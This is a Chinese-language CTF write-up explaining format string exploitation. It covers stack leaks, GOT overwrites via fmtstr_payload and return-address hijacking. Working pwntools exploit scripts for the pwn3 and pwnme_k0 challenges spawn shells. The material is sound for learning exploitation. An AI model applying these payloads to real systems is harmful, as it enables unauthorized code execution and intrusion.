[TOC]
64 位程序格式化字符串漏洞
64位与32 位区别:64 位函数的前 6 个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中,虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。
2017-UIUCTF-pwn200-GoodLuck
64位小端序,开启了Canary和NX
程序逻辑如下:
- flag、flag_都是局部变量,是保存在栈中的,所以可以直接利用格式化字符串漏洞将flag给打印出来
可以使用fmtarg工具算出flag格式化字符串偏移为:9,所以直接%9$s即可
- 使用工具时注意:我们必须 break 在 printf 处。
hijack GOT
wiki:)在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有完全开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。
假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:
确定函数 A 的 GOT 表地址。
- 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
确定函数 B 的内存地址
- 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。
这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
- 写入函数:write 函数。
- ROP
pop eax; ret; # printf@got -> eax pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset
- 格式化字符串任意地址写
2016-CCTF-pwn3
32位小端序,只开了NX保护
程序关键说明:
- 程序有put,get,show三个功能
- put:上传一个文件包括name和content
- get:输出指定name文件的content
- show:把所有文件的名字拼接起来然后puts出来(后上传的文件名字在前面
文件在内存中结构如下:
漏洞点:
我们可以发现get输出文件内容时,直接printf(dest);
利用方法:
- 利用格式化字符串漏洞任意读打印出puts函数真实地址,从而计算出libc_base
- 利用格式化字符串漏洞任意写把puts函数的got表项内容改写为system函数的地址
- 然后执行puts(‘/bin/sh;’) ==> system(‘/bin/sh;’)
- 这里把文件名设置为
/bin/sh;
然后调用show就行,这里加;
是因为show会把所有的文件名连起来然后输出,;
可以造成截断 - 也可以把第一个文件名设置为
h
,把第二个文件名设置为/bin/s
,这样最后合起来就是/bin/sh
(亲测可行
- 这里把文件名设置为
exp:
from pwn import *
#context.log_level = 'debug'
io = process("./pwn3")
elf = ELF("./pwn3")
libc = elf.libc
def name():
s = 'sysbdmin'
p = ''
for i in s:
p += chr(ord(i)-1)
print p
io.sendline(p)
def get(name):
io.sendlineafter('ftp>', 'get')
io.sendlineafter('get:', name)
io.recv(4)
return io.recv(4)
def put(name, content):
io.sendlineafter('ftp>', 'put')
io.sendlineafter('upload:', name)
io.sendlineafter('content:', content)
def show():
io.sendlineafter('ftp>', 'dir')
#rxraclhm
name()
payload = p32(elf.got['puts']) + '%7$s'
put('A', payload)
addr = u32(get('A').ljust(4, '\x00'))
print hex(addr)
system = addr - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#fmtstr_payload(offset, {addr:value})
#把addr处的值修改为value,offset为格式化字符串的偏移
payload = fmtstr_payload(7, {elf.got['puts']:system})
print payload
put('/bin/sh;', payload)
get('/bin/sh;')
show()
io.interactive()
hijack retaddr
三个白帽 - pwnme_k0 e
程序RELRO保护全开(无法打got,开启了NX
程序功能:
- 最开始,注册账号,密码
- 选项1:输出账号,密码 – show
- 选项2:修改账号,密码 – edit
漏洞点:
- 输出账号,密码时存在格式化字符串漏洞
- 第一个printf输出账号
- 第二个printf输出密码
发现程序存在后门:
思路:修改返回地址到后门函数处
- 泄漏show函数的存储返回地址的栈地址
- 修改返回地址为0x4008AA
动态调试,把断点下在输出密码的printf处,账号输入AAAAAAAA,密码输入BBBBBBBB
- 可以看到函数返回地址存储在0x7fffffffdd38处,而rbp(为格式化字符串的第6个参数)里面存储的是栈地址0x7fffffffdd70,虽然栈的地址是变化的,但是两者的偏移是不变的。
- 0x7fffffffdd70 - 0x7fffffffdd38 = 0x38
- 账号存储在0x7fffffffdd40,为格式化字符串的第8个参数
- 密码(格式化字符串)在第10个偏移处
所以我们可以先用%6$p
泄漏处rbp,然后利用rbp-0x38
计算出存储返回地址的位置ret_addr,然后修改账号为rer_addr
,密码为'%2218c' + '%8$hn'
,然后show即可
- 可以看到返回地址为0x400d74,system_addr = 0x4008AA ==> 0x40都是一样的,所以我们只需要写入两个字节即写入
08AA
==> 2218
from pwn import *
#context.log_level = 'debug'
io = process("./pwnme_k0")
backdoor = 0x4008AA
payload = '%6$p'
io.sendlineafter(': \n', 'XiaozaYa')
io.sendlineafter(': \n', payload)
io.sendlineafter('>', '1')
io.recvuntil('XiaozaYa\n')
rbp = int(io.recvline(), 16)
ret_addr = rbp - 0x38
print hex(rbp)
print hex(ret_addr)
payload = '%2218c' + '%8$hn'
io.sendlineafter('>', '2')
io.sendlineafter(': \n', p64(ret_addr))
io.sendlineafter(': \n', payload)
io.sendlineafter('>', '1')
io.interactive()